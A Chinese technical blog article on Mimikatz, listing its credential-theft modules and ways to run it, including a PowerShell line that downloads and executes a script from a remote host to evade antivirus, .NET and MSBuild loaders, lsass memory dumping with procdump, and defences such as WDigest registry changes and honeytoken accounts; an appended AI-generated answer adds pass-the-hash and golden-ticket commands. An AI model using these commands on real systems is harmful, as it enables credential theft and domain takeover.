Mimikatz的攻击及防御

本文深入探讨Mimikatz工具的攻击手法及防御策略,Mimikatz是一款强大的凭证窃取工具,可用于抓取口令、创建票证等。文章详细介绍了Mimikatz的功能模块,如KERBEROS::Golden、LSADUMP::DCSync等,并提供了多种执行方式,包括powershell、cscript和.NET执行等。同时,提出了禁止DebugPrivilege、修改WDigest设置和DomainCachedCredentials等防御措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Mimikatz的攻击及防御

Mimikatz的简介:

    Mimikatz为法国人Benjamin Delpy编写的一款轻量级的调试工具,在内网渗透过程中,它多数时候是作为一款抓取用户口令的工具。然而Mimikatz其实并不只有抓取口令这个功能,它还能够创建票证、票证传递、hash传递、甚至伪造域管理凭证令牌。

Mimikatz功能介绍:

CRYPTO::Certificates  – 列出/导出凭证。  
KERBEROS::Golden – 创建黄金票证/白银票证/信任票证。  
KERBEROS::List – 列出在用户的内存中所有用户的票证(TGT 和 TGS)。  
KERBEROS::PTT – 票证传递。  
LSADUMP::DCSync – 向 DC 发起同步一个对象(获取帐户的密码数据)的质询。  
LSADUMP::LSA – 向 LSA Server 质询检索 SAM/AD 的数据(正常或未打补丁的情况下)。可以从 DC 或者是一个lsass.dmp的转储文件中  
导出所有的Active Directory 域凭证数据。同样也可以获取指定帐户的凭证,如 krbtgt 帐户,使用 /name 参数,如:“/name:krbtgt”。
LSADUMP::SAM - 获取 SysKey 来解密 SAM 的项目数据(从注册表或者 hive 中导出)SAM 选项。可以连接到本地安全帐户管理器(SAM)  
数据库中并能转储本地帐户的凭证。可以用来转储在 Windows 计算机上的所有的本地凭据。  
LSADUMP::Trust - 向 LSA Server 质询来获取信任的认证信息(正常或未打补丁的情况下)为所有相关的受信的域或林转储信任密钥(密码)
MISC::AddSid – 将用户帐户添加到 SID 历史记录。第一个值是目标帐户,第二值是帐户/组名(可以是多个或 SID )。  
MISC::MemSSP – 注入恶意的 Wndows SSP 来记录本地身份验证凭据。  
MISC::Skeleton – 在 DC 中注入万能钥匙(Skeleton Key) 到 LSASS 进程中。这使得所有用户所。  
使用的万能钥匙修补 DC 使用 “主密码” (又名万能钥匙)以及他们自己通常使用的密码进行身份验证。  
PRIVILEGE::Debug – 获得 Debug 权限(很多 Mimikatz 命令需要 Debug 权限或本地 SYSTEM 权限)。  
SEKURLSA::Ekeys – 列出 Kerberos 密钥  
SEKURLSA::Kerberos – 列出所有已通过认证的用户的 Kerberos 凭证(包括服务帐户和计算机帐户)。  
SEKURLSA::Krbtgt – 获取域中 Kerberos 服务帐户(KRBTGT)的密码数据。  
SEKURLSA::LogonPasswords – 列出所有可用的提供者的凭据。这个命令通常会显示最近登录过的用户和最近登录过的计算机的凭证。  
SEKURLSA::Pth – Hash 传递 和 Key 传递(注:Over-Pass-the-Hash 的实际过程就是传递了相关的 Key(s))。  
SEKURLSA::Tickets – 列出最近所有已经过身份验证的用户的可用的 Kerberos 票证,包括使用用户帐户的上下文运行的服务和本地计算机  
在AD 中的计算机帐户。与 kerberos::list 不同的是 sekurlsa 使用内存读取的方式,它不会受到密钥导出的限制。  
TOKEN::List – 列出系统中的所有令牌。  
TOKEN::Elevate – 假冒令牌。用于提升权限至 SYSTEM 权限(默认情况下)或者是发现计算机中的域管理员的令牌。  
TOKEN::Elevate /domainadmin – 假冒一个拥有域管理员凭证的令牌。  

Mimikatz的多种利用方式

一般的执行方式

privilege::debug - 提升权限(注:需以管理员权限运行)

1.png

sekurlsa::logonpasswords - 获取内存中保存的登录信息(注:当系统为win10或者2012R2以上,内存中默认禁止缓存明文密码
可以通过修改注册表的方式进行抓取,但是需要目标机重启后,重新登录的时候才能进行抓取。)

2.png

使用powershell运行Mimikatz

powershell -exec bypass "import-module ./Invoke-Cats.ps1;Invoke-Cats -pwds" (直接使用ps1脚本执行,
此方法和上面执行EXE文件一样,如果没做特殊处理,很容易被杀软杀掉。)

3.png

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('http://1.1.1.1/Invoke-Cats.ps1');Invoke-Cats -pwds"
(该方法利用powershell将mimikatz直接加载到内存中执行,可以达到文件不落地,过部分杀软的效果。)

4.png

使用cscript运行Mimikatz

cscript katz.js ('注:该JS版Mimikatz已被各大杀软标记极易被杀,但是JS版过杀软也很简单,  
简单混淆之后便可实现免杀,此次演示中的该脚本已过杀软')

5.png

使用.NET 2.0 执行Mimikatz

在powershell中执行
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0l
LEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9
TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQp
J+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHG
GRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcac
yYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypw
mFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:regsvcs.dll /keyfile:key.snk
/unsafe katz.cs
regsvcs.exe regsvcs.dll

6.png

7.png

使用.NET 4.0 执行Mimikatz

MSBuild katz.xml

8.png

使用wmic执行xsl版Mimikatz

9.png

lsass内存转储

在任务管理中找到lsass.exe,将其转储出来。使用mimikatz离线导出信息。

10.jpg

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

1568876703.png

使用procdump导出lsass内存(mysqldump也可以实现该功能)

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

11.png

Mimikatz的防御措施

禁止Debug Privilege

Debug Privilege 允许以特权用户启动的程序去调试本地系统运行的服务。如下图默认为Administrator

12.png

通过将 Debug Privilege 置空并重启服务器使其生效,再次使用 Mimikatz 的时候就会发现无法利用了。

13.png

WDigest

WDigest 是windows在XP系统中应用的,其作用主要是与超文本传输协议(HTTP)和简单的身份验证安全层(SASL)一起交换使用。而Digest与NTLM协议类似,也是挑战认证协议。
简单说就是:
1.客户端向服务端发起认证请求。
2.服务端返回一个随机值、客户端利用内存中的密码与客户端名,域名等信息计算一个值并发送至服务端。
3.服务端也利用相同方式计算一个值如果与客户端相同则认证成功。
在win 7 和 2008 r2 之前都是默认开启Wdigest且无法禁用,需要额外安装KB 2871997补丁(但是WIN7以及08以后的系统中微软都默认禁止了Wdigest协议)。
如下图所示(该系统为2008),在注册表WDigest中并没有 (UseLogonCredential)所以可以成功抓取到明文密码。

14.png

当安装完 KB 2871997 补丁后,需要使用以下命令
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0
来修改注册表。修改完毕后重新运行mimikatz就已经无法抓取明文密码了。

16.png

Domain Cached Credentials

Domain Cached Credentials 简称 DDC,也叫 mscache。有两个版本,XP/2003 年代的叫第一代,Vasta/2008 之后的是第二代。
计算机在加入域之后就得通过 kerberos 进行认证,通过 kerberos 认证就得有域控的参与,但是如果域成员暂时无法访问到域控的话,岂不是无法认证了?域凭证缓存就是为了解决这个问题的。如果暂时访问不到域控,windows 就尝试使用本机缓存的凭证进行认证,默认缓存十条。(引用:Mimikatz 攻防杂谈)
所以如果我们去修改默认缓存次数为0次,可能在一定程度上预防Mimikatz的攻击。

17.png

利用伪造的域用户检测Mimikatz攻击

利用工具将虚假的域账户写入到域内服务器的内存中,当此类服务器受到mimikatz的攻击时,
攻击者将会获取到我们投递的虚假账户信息,一但攻击者利用这些信息去登录域内机器的时候,我们便可以再IDS等监控设备上捕获到攻击。

18.png

总结

    Mimikatz的攻击手法多样,变种繁多,要完全防御Mimikatz也是比较困难的。但是如果我们通过多种方式结合使用,还是能对Mimikatz起到一定的防御效果。
    如果运维人员能够及时更新服务器操作系统,及时安装补丁,避免赋予账户过多管理权限,将重要账户加入保护组,域账户登录过的服务器一定要进行注销等操作,又或者投递虚假账户并进行监控等操作。这些在一定程度上还是能够有效的进行防御。

致谢

本文中很多利用方式及防御手段参考了以下文章。在这里感谢这些前辈的优秀文章。
https://www.freebuf.com/articles/web/176796.html
https://mp.weixin.qq.com/s/BrQo_UnyStgAn-XyUBsamQ
https://github.com/SMAPPER/MimikatzHoneyToken/wiki/Customizing-MimikatzHoneyToken

<think>好的,用户想了解Mimikatz工具的用途和用法,特别是在网络安全和渗透测试中的应用。首先,我需要回忆Mimikatz的基本功能,比如提取凭证、传递哈希等。记得它主要在Windows系统中使用,用于从内存中获取明文密码和哈希值。要详细说明它的核心功能,比如sekurlsa模块、黄金票据等高级攻击手法。 接下来是用法部分,用户可能需要具体的命令示例,比如如何导出哈希,如何传递哈希进行横向移动。要确保命令正确,并且解释清楚每个参数的作用。同时,需要提到Mimikatz在渗透测试中的实际应用场景,比如内网渗透、权限维持等。 还要注意用户可能的后续问题,比如如何防御Mimikatz攻击,所以生成的相关问题需要涵盖防御措施和检测方法。此外,确保回答结构清晰,分点列出用途和用法,并附上示例代码块,符合用户提供的格式要求。最后检查LaTeX语法是否正确,虽然这个问题可能用不到数学公式,但其他部分要符合系统级指令的规定,比如使用中文回答,正确引用来源等。</think>### Mimikatz工具的用途与用法 Mimikatz是一款开源的网络安全工具,主要用于从Windows操作系统中提取用户凭证(如明文密码、哈希值等)和进行横向渗透测试[^1]。其核心功能包括**凭证提取**、**哈希传递**(Pass-the-Hash)和**票据攻击**(如黄金票据、白银票据)。 #### 一、核心功能 1. **提取内存凭证** Mimikatz可从`lsass.exe`进程的内存中提取明文密码、NTLM哈希、Kerberos票据等。例如: ```bash mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords ``` 上述命令首先提升调试权限,然后从内存中导出登录凭证[^1]。 2. **哈希传递攻击(Pass-the-Hash)** 通过NTLM哈希直接认证到其他系统,无需明文密码: ```bash mimikatz # sekurlsa::pth /user:Administrator /domain:example.com /ntlm:<NTLM_HASH> ``` 3. **黄金票据(Golden Ticket)攻击** 利用域控的KRBTGT账户哈希伪造Kerberos票据,获取域管理员权限: ```bash mimikatz # kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /krbtgt:<KRBTGT_HASH> /ptt ``` #### 二、典型应用场景 1. **内网渗透**:通过提取本地或域用户凭证,横向移动到其他主机。 2. **权限维持**:生成持久性访问的黄金票据。 3. **红队演练**:模拟攻击者行为以测试企业防御能力。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值